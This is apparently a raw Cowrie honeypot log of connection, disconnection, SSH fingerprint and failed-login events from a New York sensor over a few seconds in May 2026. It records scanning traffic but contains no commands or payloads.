{"eventid":"cowrie.session.closed","duration":30.67704176902771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.072354Z","src_ip":"5.189.169.71","session":"929ae468769b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714435338974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.078205Z","src_ip":"5.189.169.71","session":"0b88e952ba09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597817420959473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.098176Z","src_ip":"5.189.169.71","session":"60315485d58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6232009dd64","protocol":"telnet","message":"New connection: 5.189.169.71:60228 (10.17.0.5:23) [session: d6232009dd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.240449Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de725f8a8a2","protocol":"telnet","message":"New connection: 5.189.169.71:60238 (10.17.0.5:23) [session: 0de725f8a8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.262703Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6174ce718d","protocol":"telnet","message":"New connection: 5.189.169.71:60248 (10.17.0.5:23) [session: 9b6174ce718d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.632057Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60254,"dst_ip":"10.17.0.5","dst_port":23,"session":"024b5e392d80","protocol":"telnet","message":"New connection: 5.189.169.71:60254 (10.17.0.5:23) [session: 024b5e392d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:31.748550Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"14dfd5da7886","protocol":"telnet","message":"New connection: 5.189.169.71:60268 (10.17.0.5:23) [session: 14dfd5da7886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.000461Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51160,"dst_ip":"10.17.0.5","dst_port":23,"session":"0abdbc3d3cb2","protocol":"telnet","message":"New connection: 94.23.163.94:51160 (10.17.0.5:23) [session: 0abdbc3d3cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.261312Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c60ee67347c","protocol":"telnet","message":"New connection: 94.23.163.94:51176 (10.17.0.5:23) [session: 8c60ee67347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.294924Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60278,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f79188520f7","protocol":"telnet","message":"New connection: 5.189.169.71:60278 (10.17.0.5:23) [session: 7f79188520f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.430037Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60286,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf732ef83272","protocol":"telnet","message":"New connection: 5.189.169.71:60286 (10.17.0.5:23) [session: cf732ef83272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.563674Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aac5342b454","protocol":"telnet","message":"New connection: 5.189.169.71:60288 (10.17.0.5:23) [session: 8aac5342b454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.713142Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79dac6f4472","protocol":"telnet","message":"New connection: 5.189.169.71:60296 (10.17.0.5:23) [session: c79dac6f4472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:32.741803Z"}
{"eventid":"cowrie.session.closed","duration":30.44994044303894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.258654Z","src_ip":"5.189.169.71","session":"aeeac97a2b6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48037815093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.394701Z","src_ip":"5.189.169.71","session":"5f8e173322bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49332308769226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.399110Z","src_ip":"5.189.169.71","session":"da1c5f458ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42202,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f30128a4e56","protocol":"ssh","message":"New connection: 176.65.139.103:42202 (10.17.0.5:22) [session: 0f30128a4e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.595716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.610868Z","src_ip":"176.65.139.103","session":"0f30128a4e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.693970Z","src_ip":"176.65.139.103","session":"0f30128a4e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38276,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad8c800e6f6","protocol":"telnet","message":"New connection: 94.23.163.94:38276 (10.17.0.5:23) [session: 7ad8c800e6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:33.837655Z"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.009384Z","src_ip":"176.65.139.103","session":"0f30128a4e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60308,"dst_ip":"10.17.0.5","dst_port":23,"session":"105ddbc2ed2a","protocol":"telnet","message":"New connection: 5.189.169.71:60308 (10.17.0.5:23) [session: 105ddbc2ed2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.014721Z"}
{"eventid":"cowrie.session.closed","duration":30.4332218170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.049544Z","src_ip":"94.23.163.94","session":"6cbe70083cf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996922254562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.069020Z","src_ip":"5.189.169.71","session":"d84d66e4aaf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728230237960815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.141289Z","src_ip":"5.189.169.71","session":"54b9aaf6ba9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83054828643799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.164587Z","src_ip":"94.23.163.94","session":"96746cea1622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60320,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c00d0a9e3d","protocol":"telnet","message":"New connection: 5.189.169.71:60320 (10.17.0.5:23) [session: 53c00d0a9e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.171854Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60336,"dst_ip":"10.17.0.5","dst_port":23,"session":"11246978b148","protocol":"telnet","message":"New connection: 5.189.169.71:60336 (10.17.0.5:23) [session: 11246978b148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.456406Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60348,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d8deea357f","protocol":"telnet","message":"New connection: 5.189.169.71:60348 (10.17.0.5:23) [session: 89d8deea357f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:34.810769Z"}
{"eventid":"cowrie.session.closed","duration":30.10930609703064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.051116Z","src_ip":"5.189.169.71","session":"ed79b6bed49c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.175918579101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.061448Z","src_ip":"5.189.169.71","session":"c4fffbeef1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39895534515381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.071234Z","src_ip":"94.23.163.94","session":"c4ef875c510d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.244533Z","src_ip":"176.65.139.103","session":"0f30128a4e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45710,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d273dcb1073","protocol":"ssh","message":"New connection: 159.203.92.129:45710 (159.203.135.109:22) [session: 4d273dcb1073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.454303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.459152Z","src_ip":"159.203.92.129","session":"4d273dcb1073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.463737Z","src_ip":"159.203.92.129","session":"4d273dcb1073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annie","password":"123","message":"login attempt [annie/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.475654Z","src_ip":"159.203.92.129","session":"4d273dcb1073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38284,"dst_ip":"10.17.0.5","dst_port":23,"session":"900396d55e9a","protocol":"telnet","message":"New connection: 94.23.163.94:38284 (10.17.0.5:23) [session: 900396d55e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:35.914627Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c1e5c35c2fc","protocol":"telnet","message":"New connection: 94.23.163.94:38286 (10.17.0.5:23) [session: 8c1e5c35c2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.044190Z"}
{"eventid":"cowrie.session.closed","duration":30.567122220993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.075091Z","src_ip":"5.189.169.71","session":"790902c0f6ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675946474075317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.123231Z","src_ip":"5.189.169.71","session":"9dff2bcd0e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834473133087158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.129147Z","src_ip":"5.189.169.71","session":"943ec5f8f65e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce38d675508b","protocol":"telnet","message":"New connection: 5.189.169.71:60350 (10.17.0.5:23) [session: ce38d675508b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.409646Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95a707e79e6","protocol":"telnet","message":"New connection: 5.189.169.71:60362 (10.17.0.5:23) [session: d95a707e79e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.415900Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:36.484748Z","src_ip":"159.203.92.129","session":"4d273dcb1073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.524795293807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:37.092017Z","src_ip":"5.189.169.71","session":"28716e895fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60376,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9dbb6afcd1","protocol":"telnet","message":"New connection: 5.189.169.71:60376 (10.17.0.5:23) [session: 7a9dbb6afcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:37.323958Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e24590cdc9","protocol":"telnet","message":"New connection: 94.23.163.94:38290 (10.17.0.5:23) [session: b8e24590cdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:37.442603Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"3793aa126b69","protocol":"telnet","message":"New connection: 5.189.169.71:60390 (10.17.0.5:23) [session: 3793aa126b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:37.630536Z"}
{"eventid":"cowrie.session.closed","duration":30.09992289543152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:38.052522Z","src_ip":"94.23.163.94","session":"ed7fcefac095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394298791885376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:38.057423Z","src_ip":"94.23.163.94","session":"0d2eb44333d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77474021911621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:38.184999Z","src_ip":"94.23.163.94","session":"c94a1733d963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38302,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a966b6d5df","protocol":"telnet","message":"New connection: 94.23.163.94:38302 (10.17.0.5:23) [session: 86a966b6d5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:38.467541Z"}
{"eventid":"cowrie.session.closed","duration":30.773354530334473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:39.074317Z","src_ip":"5.189.169.71","session":"c33820d8b547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46678,"dst_ip":"10.17.0.5","dst_port":23,"session":"098de4b5f353","protocol":"telnet","message":"New connection: 5.189.169.71:46678 (10.17.0.5:23) [session: 098de4b5f353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:39.088397Z"}
{"eventid":"cowrie.session.closed","duration":30.83734965324402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:39.148052Z","src_ip":"94.23.163.94","session":"f62a05f9cd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961769342422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:39.166780Z","src_ip":"94.23.163.94","session":"0452a020c5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46558427810669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:39.895019Z","src_ip":"5.189.169.71","session":"3846ca33f4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.197662353515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.094356Z","src_ip":"5.189.169.71","session":"a6899833aed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.416562795639038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.375621Z","src_ip":"94.23.163.94","session":"8b8e7b02a545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46694,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8c57c3c093","protocol":"telnet","message":"New connection: 5.189.169.71:46694 (10.17.0.5:23) [session: 0c8c57c3c093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.461746Z"}
{"eventid":"cowrie.session.closed","duration":31.151866674423218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.588168Z","src_ip":"94.23.163.94","session":"eb3ec9855596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38304,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f133dbd519","protocol":"telnet","message":"New connection: 94.23.163.94:38304 (10.17.0.5:23) [session: 99f133dbd519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.662403Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38316,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b1c48f9d68c","protocol":"telnet","message":"New connection: 94.23.163.94:38316 (10.17.0.5:23) [session: 8b1c48f9d68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.723067Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03fa4169a25","protocol":"telnet","message":"New connection: 5.189.169.71:46698 (10.17.0.5:23) [session: a03fa4169a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:40.775154Z"}
{"eventid":"cowrie.session.closed","duration":30.4989275932312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.038731Z","src_ip":"94.23.163.94","session":"0e5ccc99f78a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38326,"dst_ip":"10.17.0.5","dst_port":23,"session":"443d292d4609","protocol":"telnet","message":"New connection: 94.23.163.94:38326 (10.17.0.5:23) [session: 443d292d4609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.088523Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38342,"dst_ip":"10.17.0.5","dst_port":23,"session":"965a9b927ffb","protocol":"telnet","message":"New connection: 94.23.163.94:38342 (10.17.0.5:23) [session: 965a9b927ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.116455Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42212,"dst_ip":"10.17.0.5","dst_port":22,"session":"87667c8a1bcd","protocol":"ssh","message":"New connection: 176.65.139.103:42212 (10.17.0.5:22) [session: 87667c8a1bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:41.471108Z"}
